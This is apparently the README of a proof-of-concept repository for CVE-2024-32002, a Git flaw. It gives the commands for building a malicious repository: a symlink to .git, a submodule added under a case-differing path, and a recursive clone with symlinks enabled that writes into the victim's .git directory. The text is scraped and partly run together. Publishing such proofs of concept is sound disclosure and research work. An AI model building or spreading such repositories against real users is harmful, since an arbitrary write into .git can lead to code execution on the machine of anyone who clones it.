
A POC for CVE-2024-32002 demonstrating arbitrary write into the .git directory.
A POC for CVE-2024-32002 demonstrating arbitrary write into the .git directory.
See cve-2024-32002-submodule-aw for the related submodule repository.
.git directory..gitmodules file that defines the malicious submodule.This repo was created in Linux (WSL2, to be specific). This is important, the malicious repo can only be created on a case-sensitive filesystem.
ln -s .git submodule
Notes:
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
Notes:
git --version
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git